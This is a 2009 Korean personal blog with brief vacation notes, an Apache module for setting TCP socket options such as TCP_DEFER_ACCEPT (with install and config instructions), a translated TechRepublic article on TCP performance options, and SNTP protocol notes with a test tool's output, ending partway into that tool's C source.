알라신께충성

2009년 7월 21일 휴가

알라신께충성 — Sat, 25 Jul 2009 19:36:39 +0900

2009/07/21 ~ 2009/07/24 - 서울 -> 운일암반일암 -> 섬바위 -> 서울

운일암반일암 - 2009/07/22

섬바위 - 상류 - 2009/07/23

[apache] - mod_sockopts

알라신께충성 — Sun, 22 Mar 2009 17:42:26 +0900

Download : [mod_sockopts_1.0.tar.bz2]

TCP_DEFER_ACCEPT 를 apache_1.3.x 에 직접 패치를 가하지 않고 모듈 형태로 만든 프로그램이다.
실제 아파치 소스에 패치를 가하지 않고 모듈 형태로 구현한 것인데 이미 기존에 같은 생각으로
만들어져 있던 아파치 모듈이 있었다. (original source)
나는 내 스타일로 새로 작성하였고 몇개의 소켓 옵션도 추가 하였다.
나는 TCP_DEFER_ACCEPT 만을 테스트 하였고 다른 추가적인 옵션들에 대해서 실제 정상 작동을 장담 할 수 없다.^^
- By YoungJoo-Kim <bando@bando.org>

* 소개

     말그대로 setsockopt 를 이용 소켓 옵션을 설정 하는 모듈이다.
     다음에 오는 리스트들이 설정 가능한 소켓 옵션들이다 :

              TCP_DEFER_ACCEPT
              SO_SNDTIMEO
              SO_RCVTIMEO
              SO_SNDBUF
              SO_RCVBUF

* 설치하기

    1. DSO 미지원 컴파일
        [root@root apache]# ./configure --add-module=mod_sockopts.c
        [root@root apache]# make
        [root@root apache]# make install

    2. DSO 지원 컴파일
        [root@root mod_sockopts]# apxs -iac mod_sockopts.c

* 설정하기

    1. httpd.conf

    LoadModule sockopts_module    libexec/mod_sockopts.so

    AddModule mod_sockopts.c

    <IfModule mod_sockopts.c>
        # TCP_DEFER_ACCEPT
        SoTcpDeferAccept    20

        # SO_SNDTIMEO - not effective(socket is not closed and be continued the data transfering)
        # SoSoSndTimeo      5

        # SO_RCVTIMEO - not effective(socket is not closed and be continued the data transfering)
        # SoSoRcvTimeo      5

        # SO_SNDBUF
        # SoSoSndBuf        512

        # SO_RCVBUF
        # SoSoRcvBuf        512
    </IfModule>

* LINK

    http://articles.techrepublic.com.com/5100-10878_11-1050771.html
    http://www.archivum.info/linux-kernel@vger.kernel.org/2007-11/msg01857.html
    http://httpd.apache.org/docs/1.3/misc/fin_wait_2.html
    http://eregie.premier-ministre.gouv.fr/manual/misc/perf-tuning.html

[TCP/IP] - TCP_DEFER_ACCEPT

알라신께충성 — Sun, 22 Mar 2009 02:36:01 +0900

* TCP_DEFER_ACCEPT

TCP_DEFER_ACCEPT 는 리눅스에서 지원하는 socket option 옵션이다.
클라이언트가 TCP 연결 수행시 서버단에서 실제 데이타가 수신되기 전까지 곧바로 ESTABLISHED 를 수행하지
않고 기다리는 소켓 옵션 설정값이다. 구현의 목적은 실제 전송 패킷 수의 감소 그로 인한 지연 감소 그로 인한
성능 향상 목적등이 되겠다. TCP_DEFER_ACCEPT는 리눅스에서의 이름이고 같은 수행을 하는 옵션들이
다른 운영체제에서도 이름은 다르지만 존재하고 있다. 그리고 서버단이 아닌 리눅스 클라이언트단에서도
설정 가능하다.(마지막 ACK를 전송하지 않게 되는..즉 data와 함께 ACK flag 설정을 보내게 되는...)
리눅스에서의 사용은 밑처럼 하면 된다.

int timeout = 20;
setsockopt(sock, SOL_TCP, TCP_DEFER_ACCEPT, &timeout, sizeof(int));

timeout 인자는 3 way handshake 후에 서로의 ACK 패킷 미응답시의 timeout 설정을 의미하는것처럼 보인다.
실제 연결후 아무것도 하지 않아도 설정 시간(second)에 반응(timeout)하지 않는다.
3-way handshake 후에도 ACK 는 일정 주기로 주고 받고 있을 테니까...
그리고 Linux Kernel에서 TCP_DEFER_ACCEPT 옵션의 timeout 설정시 우리의 설정 시간을 무시 할 만한
어느정도 최소한의 timeout이 설정되어 있는 것으로 보인다.
linux 2.6.x kernel 의 net/ipv4/tcp.c 를 보면 밑의 부분이 보인다.

[root@bando kernel-source]# vi net/ipv4/tcp.c
case TCP_DEFER_ACCEPT:
.
.
if (val > 0) {
val > ((TCP_TIMEOUT_INIT / HZ)...
.
.

서버 애플리케이션에 TCP_DEFER_ACCEPT 옵션 적용후 nc, telnet 등으로 서버에 접속하고 아무런 행위도 하지 않으면 ESTABLISHED 되지 않고 SYN_RECV 로 나오게 된다. Maxclient를 50으로 설정한 Apache의 경우 TCP 연결 500개를 확립하고 아무런 행위도 하지 않을시에 실제 정상적인 HTTP 처리는 아무런 문제없이 진행 된다.

[root@bando ~]# nc localhost 80
.
.
[root@bando ~]# netstat -an|grep :80
tcp        0      0 0.0.0.0:80                 0.0.0.0:*                LISTEN
tcp        0      0 127.0.0.1:80                127.0.0.1:54623             SYN_RECV

[root@bando ~]# man tcp
.
.
TCP_DEFER_ACCEPT
              Allows a listener to be awakened only when data arrives on the socket. Takes an integer value
              (seconds), this can bound the maximum number of attempts TCP will make to complete the connec-
              tion. This option should not be used in code intended to be portable.
.
.

-----------------------------------------------------------------------------------------------------------------------
밑은 관련된 기사의 내용이다.
해석이 맞나? ^^ 그냥 원문 보는게...
하여간 내가 원하는 중요한 내용은 파란색 부분이다.
-----------------------------------------------------------------------------------------------------------------------

기사원문 : http://articles.techrepublic.com.com/5100-10878_11-1050771.html

Take advantage of TCP/IP options to optimize data transmission

Takeaway: 데이타 전송의 최적화는 각 기업들에게 있어서 중요한 문제이다. 고맙게도, TCP/IP 프로토콜은 data 전송 최적화를 하기 위한 많은 방법들을 제공한다. 이기사는 몇몇 옵션들을 살펴보고 그옵션들이 성능 향상을 어떻게 하는지 보여준다.

By Alex Kuznetsov, Alex Plant, and Alexander Tormasov

마지막 시간에 우리는 TCP_CORK 옵션을 사용해서 네트워크상에서 전송되어지는 패킷들의 숫자를 감소시킬수 있는 방법들을 설명했었다. 결정적으로, 트래픽을 감소시키는것은 높은 퍼포먼스 네트워크 데이타 전송 문제의 한 부분인 것은 확실하다. 다른 TCP 옵션들은 상당히 퍼포먼스를 향상시키고 일정 상태 이하로 서버 응답 잠재를 감소킨다. 이 옵션들의 몇개를 살펴보자!

TCP_DEFER_ACCEPT
첫번째 옵션 우리는 TCP_DEFER_ACCEPT 을 생각해볼 것이다. (Linux상에서 불려지는 것이다; 다른 OS들은 같은 옵션이지만 다른이름을 사용해서 제공한다.)TCP_DEFER_ACCEPT의 아이디어를 이해하는것은, HTTP client와 server 간 통신의 전형적인 진행 그림을 필요로 한다. data 전송을 위해 연결이 확립되는 TCP를 잘 생각해봐라.TCP가 데이타 전송의 목적을 위해 연결이 어떻게 확립되어지지 생각해봐라. 네트워크상에서 정보는 IP 패킷(또는 IP 데이타그램)이라고 불려지는 각각의 조각들로 이동된다. 한 패킷은 항상 한개의 헤더를 가지는데 헤더는 서비스 정보를 운반하고, 인터넷 프로토콜을 핸들링하기위해 사용하고, 적재된 데이타를 운반하기도 한다. 서비스 정보의 대표적인 예제는 flag들 이라고 불려지는 한 set 인데 그것은 성공적인 패킷 수신의 acknowledgement처럼 한 TCP/IP 스택을 특별한 의미를 가지도록 패킷들을 표시한다. 종종, 그것은 "표시된" 패킷들중에 payload 운반을 가능하게도 하지만, 때때로 내부 로직은 TCP/IP 스택이 헤더와 함께 올바르게 패킷들이 보내지는 것을 강요하기도 한다. 이 패킷들은 종종 필요없는 지연들 그리고 오버해드를 가중시키거나 그리고 전체 성능 하락의 결과를 만들어 내기도 한다.

서버가 지금 한 소켓이 생성되어졌고 한 연결을 위해 기다리는 중이다. TCP/IP 에서 그 연결 순서는 3-way handshake 라고 불려진다. 첫번째, 클라이언트는 SYN 플래그 설정과 함께 payload는 제외하고 한TCP 패킷(한 SYNC 패킷)을 보낸다. 서버는 첫 패킷의 acknowledge 받고 SYN/ACK 플래그 설정과 함께 한 패킷(한 SYN/ACK 패킷)을 보내는것으로 응답한다. 클라이언트는 그리고나서 두번째 패킷의 acknowledge 받고 한 ACK 패킷을 보내고 연결 순서가 완료된다. SYN/ACK 를 받은 후에, 패킷 서버는 receiver 프로세스가 작동하고 data를 기다리게 된다. 3-way handshake가 완료되어지면, 클라이언트는 서버에 전송되어질 "쓸모있는" 데이타를 보내는것을 시작한다. 보통, HTTP 요청은 매우 작고 단일 패킷에 적합하다. 그렇지만 이경우에, 적어도 4개의 패킷들이 적지않은 지연 시간과 함께 두곳 모두에서 보내질 것이다. 또한 주의해야 할것은 receiver 는 이미 그정보를 기다리는 중이었다 - 데이타가 보내지기 전에

이 문제들을 완화하기 위해서, Linux(몇몇 다른 OS들과 함께)는 TCP 수행에서 TCP_DEFER_ACCEPT
옵션을 포함한다. server측에 listening socket 설정, 그것은 kernel은 마지막 ACK 패킷을
기다리지 않고 실제 data의 첫번째 패킷이 도착할때까지 그 프로세스를 시작하지 말라고 지시한다.
SYN/ACK를 보낸후에, 서버는 그리고 나서 클라이언트로부터 data 패킷을 위해 기다릴 것이다.
지금, 단지 3 패킷만이 네트워크상에 보내질 것이고 연결 확립 지연은 상당히 줄어들 것이다.
이것은 HTTP를 위해 대표적인것이다.

이옵션과 동등하게 마찬가지로 다른 운영체제에서도 사용가능하다. FreeBSD에서 예를 들면, 동일한 작동은 다음 코드와 함께 이루어진다.

/* some code skipped for clarity */

struct accept_filter_arg af = { "dataready", "" };

setsockopt(s, SOL_SOCKET, SO_ACCEPTFILTER, &af, sizeof(af));

이것은 FreeBSD에서 "accept fillter"를 호출해서, 다른 방법으로 사용되어진다.모든경우에도, 그 효과는TCP_DEFER_ACCEPT와 동일하다. 이것은 FreeBSD에서 "accept fillter"를 호출해서 다른 방법으로 사용하고 있긴 하지만 어떤경우라도 그 효과는 TCP_DEFER_ACCEPT와 동일하다. - 그 서버는 마지막 ACK 패킷을 기다리지 않고, payload 패킷이 전송되기만을 기다릴 것이다. 이 옵션에 대한 더 많은 정보 그리고 Web server의 높은 성능 을 위한 그것의 중요성은 Apache documentation 에서 확인 할 수 있다.

HTTP client-server 간 통신은, client의 행동을 변경하는 것을 필요로 할지도 모른다. 왜 클라이언트는 어떻게 해서든 이 "쓸모없는" ACK 패킷을 보내려고 하는가? 한 TCP 스택은 ACK 패킷의 상태를 알 방법이 없다. FTP가 HTTP대신에 사용된 경우에, 클라이언트는 FTP server 명령이 포함된 한 패킷을 받을때까지 어떤 데이타도 보내지 않을 것이다. 이경우에 지연된 ACK는 client-server 간 통신 지연의 원인이 될 것이다. 이 ACK가 필요한지를 결정하기 위해서 클라이언트는 그 애플레케이션의 프로토콜과 그것의 현재 상태를 알아야 한다. 이와같이 그것은 클라이언트의 행동을 변경하는것을 필요로 한다.

Linux 기반 클라이언트를 위해서, 우리는 또하나의 옵션을 사용할수 있는데 그것 또한 TCP_DEFER_ACCEPT라고 불려진다. socket에는 listening 그리고 connected 소켓 그리고 두 상응하는 옵션의 설정들을 가지는 두가지 타입이 있다.
따라서 그것은 종종 같이 사용되어지는 이 두 옵션을 위해 같은 이름을 사용하는 것이 가능하다. 연결되어진 소켓에 이옵션을 설정하게 되면, 클라이언트는 SYN/ACK 를 받은후에 ACK 패킷을 보내지 않을 것이고, 대신에 사용자 프로그램으로부터 데이타를 보내기 위해서 다음 요청을 기다릴 것이다; 따라서 서버는 한개 적은 패킷을 보내게 될 것이다.

TCP_QUICKACK
쓸모없는 패킷들이 보내지는것에 의한 원인으로 지연이 생기는것을 막기위한 다른 방법은 TCP_QUICKACK를 사용하는 것이다. 이 옵션은 TCP_DEFER_ACCEPT와 다른 것인데, 말하자면 그것은 연결 확립의 진행을 관리하는것 뿐만 아니라, 보통 데이타 전송 진행중에도 사용되어질수 있다. 게다가, 그것은 client-server 연결의 어느쪽에도 설정 될 수 있다.
ACK 패킷의 전송을 지연하는것은 사용자 데이타가 곧 전송되어질 것이라는 것을 알고 있을때 유용하고, 그것은 오버헤드를 최소화 하기 위해 데이타 패킷에 ACK 플래그 설정하는 것이 낫다. 송신자가 데이타가 곧 보내질(multiple packets) 것이라고 확신하면, TCP_QUICKACK 옵션은 0으로 설정 할 수 있다. 이 옵션의 기본 값은 "connected" 상태 소켓들을 위해서 1이고, 그 값은 처음 사용하고나서 kernel에 의해서 곧장 1로 reset 될 것이다.(이것은 1회성 옵션이다.)

이 경우에, 그것은 ACK 패킷들을 보내는 것이 유리 할 수 있다. ACK 패킷은 data 블럭의 수신을 확인 할 것이고, 다음 블럭이 처리되어질때, 지연은 발생하지 않을 것이다. 이 데이타 전송 방법은 사용자 입력의 순간을 예측 할 수 없는 위치에 있는 양방향 통신 진행을 위해 대표적이다. Linux에서 이것은 기본적인 소켓 행동으로 알려져있다.

앞서말한 상황에서, 클라이언트는 HTTP 요청을 서버에 보내고, 서버는 이미 그 요청 패킷은 짧고 연결이 확립되어진 후에 곧장 보내질 것이라는 것을 알고 있다는 것과 HTTP가 어떻게 작동하는지 보여줬다. 비어있는 ACK 패킷을 보내는것은 필요하지 않기 때문에 성능 향샹을 위해서 TCP_QUICKACK를 0으로 설정하는 것은 적절하다. 서버측에서, 두 옵션 모두 listening 소켓에 한번만 설정 할 수 있다. Accept 호출에 의해 간접적으로 생성되어진 모든 소켓들은 원래 소켓으로부터 모든것을 상속 받게 될 것이다.

TCP_CORK, TCP_DEFER_ACCEPT 그리고 TCP_QUICKACK 옵션들의 결합으로 각 HTTP 트랜잭션에 참여하는 패킷들의 수가 최소한의 허용 가능함 범위로 줄어들 것이다(TCP 프로토콜 요구조건과 보안 고려사항들이 요구하는 대로). 그 결과 데이타 전송 과 요청 진행과정이 빨라지는 것 뿐만 아니라 client-server 송수신 잠재까지 최소화 한다.

Conclusion
네트워크 프로그램 성능의 최적화는 복잡하고 힘든일임에는 분명하다. 최적화 기술은 어디에서나 접근 가능한 zero-copy를 사용하는 것, TCP_CORK에 의해 조합된 올바른 패킷 그리고 상응하게전송되어지는 패킷들의 수의 최소화 그리고 잠재 최적화를 포함한다.

성능 과 확장성에 어느정도 의미있는 증가를 위해 그것은 이용할 수 있는 모든 방법들의 조합과 코드에 걸쳐 일관되게 사용하는 것이 필요하다. 물론 더하여, TCP/IP 스택의 내부 동작과 OS 전반에 걸쳐 명확한 이해는 필요하다.

------------------------------------------------ 기사 원문 ------------------------------------------------

Take advantage of TCP/IP options to optimize data transmission

Takeaway: Streamlining data transmission is a critical challenge for any enterprise. Thankfully, the TCP/IP protocol provides many ways to optimize data transfer. This article examines several options and shows how they can boost performance.

By Alex Kuznetsov, Alex Plant, and Alexander Tormasov

Last time, we explained how the TCP_CORK option can decrease the number of packets transferred over a network. While critically important, reducing traffic is just one part of the puzzle of high-performance network data transmission. Other TCP options can significantly improve performance and reduce server response latency under certain conditions. Let's look at some of those options.

TCP_DEFER_ACCEPT
The first option we'll consider is TCP_DEFER_ACCEPT. (This is what it's called in Linux; other OSs offer the same option but use different names.) To understand the idea of the TCP_DEFER_ACCEPT option, it is necessary to picture a typical process of the HTTP client-server interaction. Consider how the TCP establishes a connection with the goal of transferring data. On a network, information travels in discrete units called IP packets (or IP datagrams). A packet always has a header that carries service information, used for internal protocol handling, and it may also carry payload data. A typical example of service information is a set of so-called flags, which mark the packets as having special meaning to a TCP/IP stack, such as acknowledgement of successful packet receiving. Often, it's possible to carry payload in the “marked” packet, but sometimes, internal logic forces a TCP/IP stack to send out packets with just a header. These packets often introduce unwanted delays and increased overhead and result in overall performance degradation.

The server has now created a socket and is waiting for a connection. The connection procedure in TCP/IP is a so-called “three-way handshake.” First, a client sends a TCP packet with a SYN flag set and no payload (a SYN packet). The server replies by sending a packet with SYN/ACK flags set (a SYN/ACK packet) to acknowledge receipt of the initial packet. The client then sends an ACK packet to acknowledge receipt of the second packet and to finalize the connection procedure. After receiving the SYN/ACK, the packet server wakes up a receiver process while waiting for data. When the three-way handshake is completed, the client starts to send “useful” data to be transferred to the server. Usually, an HTTP request is quite small and fits into a single packet. But in this case, at least four packets will be sent in both directions, adding considerable delay times. Note also that the receiver has already been waiting for the information—since before the data was ever sent.

To alleviate these problems, Linux (along with some other OSs) includes a TCP_DEFER_ACCEPT option in its TCP implementation. Set on a server-side listening socket, it instructs the kernel not to wait for the final ACK packet and not to initiate the process until the first packet of real data has arrived. After sending the SYN/ACK, the server will then wait for a data packet from a client. Now, only three packets will be sent over the network, and the connection establishment delay will be significantly reduced, which is typical for HTTP.

Equivalents of this option are available on other operation systems, as well. For example, in FreeBSD, the same behavior is achieved with the following code:
/* some code skipped for clarity */
struct accept_filter_arg af = { "dataready", "" };
setsockopt(s, SOL_SOCKET, SO_ACCEPTFILTER, &af, sizeof(af));

This feature, called an “accept filter” in FreeBSD, is used in different ways, although in all cases, the effect is the same as TCP_DEFER_ACCEPT—the server will not wait for the final ACK packet, waiting only for a packet carrying a payload. More information about this option and its significance for a high-performance Web server is available in the Apache documentation.

With HTTP client-server interaction, it may be necessary to change client behavior. Why would the client send this “useless” ACK packet anyway? A TCP stack has no way of knowing the status of an ACK packet. If FTP were used instead of HTTP, the client would not send any data until it received a packet with the FTP server prompt. In this case, delayed ACK will cause a delay in a client-server interaction. To decide whether this ACK is necessary, a client should know the application protocol and its current state. Thus, it is necessary to modify client behavior.

For Linux-based clients, we can use another option, which is also called TCP_DEFER_ACCEPT. There are two types of sockets, listening and connected sockets, and two corresponding sets of options. Hence, it is possible to use the same name for these two options that are often used together. After setting this option on a connected socket, the client will not send an ACK packet after receiving a SYN/ACK packet and will instead be waiting for a next request from a user program to send data; therefore, the server will be sent one fewer packet.

TCP_QUICKACK
Another way to prevent delays caused by sending useless packets is to use the TCP_QUICKACK option. This option is different from TCP_DEFER_ACCEPT, as it can be used not only to manage the process of connection establishment, but it can be used also during the normal data transfer process. In addition, it can be set on either side of the client-server connection. Delaying sending of the ACK packet could be useful if it is known that the user data will be sent soon, and it is better to set the ACK flag on that data packet to minimize overhead. When the sender is sure that data will be immediately be sent (multiple packets), the TCP_QUICKACK option can be set to 0. The default value of this option is 1 for sockets in the “connected” state, which will be reset by the kernel to 1 immediately after the first use. (This is a one-time option.)

In another scenario, it could be beneficial to send out the ACK packets. The ACK packet will confirm receipt of a data block, and when the next block is processed, there will be no delay. This mode of data transfer is typical for interactive processes, where the moment of user input is unpredictable. In Linux, this is known as default socket behavior.

In the aforementioned situation, where a client is sending HTTP requests to a server, it is previously known that the request packet is short and should be sent immediately after a connection is established, which is indicative of how HTTP works. There is no need to send a pure ACK packet, so it is possible to set TCP_QUICKACK to 0 to improve performance. On the server side, both options can be set only once on the listening socket. All sockets, created indirectly by an accept call, will inherit all of the options from the original socket.

By combining the TCP_CORK, TCP_DEFER_ACCEPT, and TCP_QUICKACK options, the number of packets participating in each HTTP transaction will be reduced to a minimal acceptable level (as required by TCP protocol requirements and security considerations). The result is not only fast data transfer and request processing but also minimized client-server two-way latency.

Conclusion
Optimization of network program performance is obviously a complex task. Optimization techniques include using the zero-copy approach everywhere possible, proper packet assembling by TCP_CORK and equivalents, minimization of a number of packets transferred, and a latency optimization. For any significant increase in performance and scalability, it is necessary to use all methods available jointly and consistently across the code. Of course, a clear understanding of inner workings of TCP/IP stack and OS as a whole is required, as well.

[PERL] perl 데몬화 하기 (perl daemonize)

알라신께충성 — Sun, 01 Mar 2009 22:52:20 +0900

[rfc2030] - SNTP - Version 4

알라신께충성 — Wed, 17 Dec 2008 21:28:37 +0900

http://www.faqs.org/rfcs/rfc2030.html

/*
+-----------------------------------+  
| Date : 20080925                   |  
| ntp status testing                |  
| By YoungJoo-Kim <bando@bando.org> |  
+-----------------------------------+

+-----------------------------------------------------------------------------+
[root@bando ntp]# gcc -o ntp_status ntp_status.c  
[root@bando ntp]# ./ntp_status ntp.bando.org 
server               : ntp.bando.org
server port          : 123
my bind port         : 47810

send packet size     : 48
send packet          : e3 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
					   00 00 00 00 00 00 00 00 00 00 00 00 00 00 
li_vn_mode           : 227 / LI: 3, VN: 4, MODE : 3
Stratum              : 00
Poll                 : 04
Precision            : 00
Root Delay           : 00
Root Dispersion      : 00
Reference Identifier : 00
Reference Timestamp  : 00
Originate Timestamp  : 00
Receive Timestamp    : 00
Transmit Timestamp   : 00
Reference Time       : 2036/02/07 15:28:16
Originate Time       : 2036/02/07 15:28:16
Receive Time         : 2036/02/07 15:28:16
Transmit Time        : 2036/02/07 15:28:16

recv packet size     : 48
recv packet          : 24 02 04 ee 00 00 01 84 00 00 07 be 3a 49 89 fa cc
                       f1 6a 49 8d 25 d9 63 00 00 00 00 00 00 00 00 cc f1
					   6d 8c 55 e4 9f 49 cc f1 6d 8c 55 e6 d4 4b 
li_vn_mode           : 36 / LI: 0, VN: 4, MODE : 4
Stratum              : 02
Poll                 : 04
Precision            : -18
Root Delay           : 84010000
Root Dispersion      : be070000
Reference Identifier : fa89493a
Reference Timestamp  : 63d9258d496af1cc
Originate Timestamp  : 00
Receive Timestamp    : 499fe4558c6df1cc
Transmit Timestamp   : 4bd4e6558c6df1cc
Reference Time       : 2008/12/16 08:44:09
Originate Time       : 2036/02/07 15:28:16
Receive Time         : 2008/12/16 08:58:04
Transmit Time        : 2008/12/16 08:58:04

send packet size     : 48
send packet          : e3 00 04 fa 00 01 00 00 00 01 00 00 3a 49 89 fa cc
                       f1 6d 8c 55 e6 d4 4b cc f1 6d 8c 55 e6 d4 4b cc f1
					   6d 8c 55 e4 9f 49 cc f1 6d 8c 55 e6 d4 4b 
li_vn_mode           : 227 / LI: 3, VN: 4, MODE : 3
Stratum              : 00
Poll                 : 04
Precision            : -6
Root Delay           : 100
Root Dispersion      : 100
Reference Identifier : fa89493a
Reference Timestamp  : 4bd4e6558c6df1cc
Originate Timestamp  : 4bd4e6558c6df1cc
Receive Timestamp    : 499fe4558c6df1cc
Transmit Timestamp   : 4bd4e6558c6df1cc
Reference Time       : 2008/12/16 08:58:04
Originate Time       : 2008/12/16 08:58:04
Receive Time         : 2008/12/16 08:58:04
Transmit Time        : 2008/12/16 08:58:04

recv packet size     : 48
recv packet          : 24 02 04 ee 00 00 01 84 00 00 07 be 3a 49 89 fa cc
                       f1 6a 49 8d 25 d9 63 cc f1 6d 8c 55 e6 d4 4b cc f1
					   6d 8c 55 fd 11 49 cc f1 6d 8c 55 ff 05 8f 
li_vn_mode           : 36 / LI: 0, VN: 4, MODE : 4
Stratum              : 02
Poll                 : 04
Precision            : -18
Root Delay           : 84010000
Root Dispersion      : be070000
Reference Identifier : fa89493a
Reference Timestamp  : 63d9258d496af1cc
Originate Timestamp  : 4bd4e6558c6df1cc
Receive Timestamp    : 4911fd558c6df1cc
Transmit Timestamp   : 8f05ff558c6df1cc
Reference Time       : 2008/12/16 08:44:09
Originate Time       : 2008/12/16 08:58:04
Receive Time         : 2008/12/16 08:58:04
Transmit Time        : 2008/12/16 08:58:04

NTPD SERVER STATUS  : OK
+-----------------------------------------------------------------------------+

http://www.faqs.org/rfcs/rfc2030.html

1                   2                   3
	0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	|LI | VN  |Mode |    Stratum    |     Poll      |   Precision   |
	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	|                          Root Delay                           |
	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	|                       Root Dispersion                         |
	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	|                     Reference Identifier                      |
	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	|                                                               |
	|                   Reference Timestamp (64)                    |
	|                                                               |
	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	|                                                               |
	|                   Originate Timestamp (64)                    |
	|                                                               |
	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	|                                                               |
	|                    Receive Timestamp (64)                     |
	|                                                               |
	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	|                                                               |
	|                    Transmit Timestamp (64)                    |
	|                                                               |
	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	|                 Key Identifier (optional) (32)                |
	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	|                                                               |
	|                                                               |
	|                 Message Digest (optional) (128)               |
	|                                                               |
	|                                                               |
	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
	Figure. NTP Message Header Version 4

LI       Value     Meaning
	-------------------------------------------------------
	00       0         no warning
	01       1         last minute has 61 seconds
	10       2         last minute has 59 seconds)
	11       3         alarm condition (clock not synchronized)

Mode     Meaning
	------------------------------------
	0        reserved
	1        symmetric active
	2        symmetric passive
	3        client
	4        server
	5        broadcast
	6        reserved for NTP control message
	7        reserved for private use

Stratum  Meaning
	----------------------------------------------
	0        unspecified or unavailable
	1        primary reference (e.g., radio clock)
	2-15     secondary reference (via NTP or SNTP)
	16-255   reserved

Code     External Reference Source
	----------------------------------------------------------------
	LOCL     uncalibrated local clock used as a primary reference for
			 a subnet without external means of synchronization
	PPS      atomic clock or other pulse-per-second source
			 individually calibrated to national standards
	ACTS     NIST dialup modem service
	USNO     USNO modem service
	PTB      PTB (Germany) modem service
	TDF      Allouis (France) Radio 164 kHz
	DCF      Mainflingen (Germany) Radio 77.5 kHz
	MSF      Rugby (UK) Radio 60 kHz
	WWV      Ft. Collins (US) Radio 2.5, 5, 10, 15, 20 MHz
	WWVB     Boulder (US) Radio 60 kHz
	WWVH     Kaui Hawaii (US) Radio 2.5, 5, 10, 15 MHz
	CHU      Ottawa (Canada) Radio 3330, 7335, 14670 kHz
	LORC     LORAN-C radionavigation system
	OMEG     OMEGA radionavigation system
	GPS      Global Positioning Service
	GOES     Geostationary Orbit Environment Satellite

* Version 3 or Version 4 는 optional 을 제외한 전체 바이트는 48Byte 이다.

전체 헤더 바이트 : 48byte

* 보내기 예제

1000 0000 == 256
	1110 0011 == 227
	0000 0011 == 3
	0000 0100 == 4
	0000 0011 == 3

0000 0011 << 6 = 11xx xxxx
	0000 0100 << 3 = xx10 0xxx
	0000 0011      = xxxx x011
	--------------------------
					 1110 0011

0   LI(3) + VN(4) + Mode(3) = 227 = 1byte  = integer
	1   Stratum                 = 0   = 1byte  = unsigned integer
	2   Poll                    = 4   = 1byte  = signed integer
	3   Precision               = -6  = 1byte  = signed integer
	4   Root Delay              = 256 = 4byte  = signed fixed-point number
	5   Root Dispersion         = 256 = 4byte  = unsigned fixed-point number 
	6   Reference Identifier    = 0   = 4byte  = four-character ASCII string
	7   Reference Timestamp     = 0   = 8byte  = 64-bit timestamp format
	8   Originate Timestamp     = 0   = 8byte  = 64-bit timestamp format
	9   Receive Timestamp       = 0   = 8byte  = 64-bit timestamp format
	10  Transmit Timestamp      = N   = 8byte  = 64-bit timestamp format

LI - 2bit
	   Leap Indicater 이것은 현재시간의 마지막분에 추가/삭제 되려는 초가 임박했다는 2-bit code 경고 이다.

VN - 3bit
	   NTP 버젼 번호

Mode - 3bit
	   Client 에서는 3 서버는 4번 사용

Stratum - 1byte
	   local clock 의 계층 level

Poll - 1byte
	   연속 되는 메시지 사이의 최대 간격
	   이필드의 범위는 4(16s) ~ 14(16284s) 까지 나타낼수 있지만
	   대부분 애플리케이션에서 6(64s) 이하나 10(1024s)까지만 사용한다.

Precision - 1byte
	   local clock 의 정밀도
	   보통 이 필드의 범위는 mains-frequency clock 을 위한 -6 부터 몇몇 워크스테이션에서 발견되는 microsecond
	   clock 을 위한 -20 까지 나타낸다.

Root Delay - 4byte
	   첫번째 참조 source 까지의 총 roundtrip delay
	   보통 이 필드의 범위는 약 1/1000 초의 음수에서 부터 수백초의 값까지 나타낸다.

Root Dispersion - 4byte
	   첫번째 참조 source 까지 명목상 error
	   보통 이 필드의 범위는 0에서 수백초의 값까지 나타낸다.

Reference Identifier - 4byte
	   NTP Version 3 또는 NTP Version 4 의 경우에는 이것은 4자의 ASCII 문자 값이다.

Reference Timestamp - 8byte
	   마지막으로 설정되거나 확실한 local clock 이다.

Originate Timestamp - 8byte
	   클라이언트가 서버에 과거에 했던 요청 시간

Receive Timestamp - 8byte
	   서버로부터 도착되어진 응답 시간

Transmit Timestamp - 8byte
	   서버가 클라이언트에 과거에 보낸 응답 시간

* LI + VN + Mode 처리
		#define PKT_LI_VN_MODE(li, vn, md) ((u_char)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7)))
		* LI = 3, VN = 4, Mode = 3 
		perl -e 'print ((((3) << 6) & 0xc0) | (((4) << 3) & 0x38) | ((3) & 0x7))'
		Result = 227

*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>

#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>

#include <time.h>

#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

/* from ntp-4.2.4p5/include/ntp_unixtime.h */
#define JAN_1970        0x83aa7e80      /* 2208988800 1970 - 1900 in seconds */

/* from #include <stdint.h> */
typedef unsigned char		uint8_t;
typedef signed char			int8_t;
typedef unsigned short int	uint16_t;
typedef short int			int16_t;
typedef unsigned int		uint32_t;
typedef int					int32_t;
typedef unsigned long int	uint64_t;
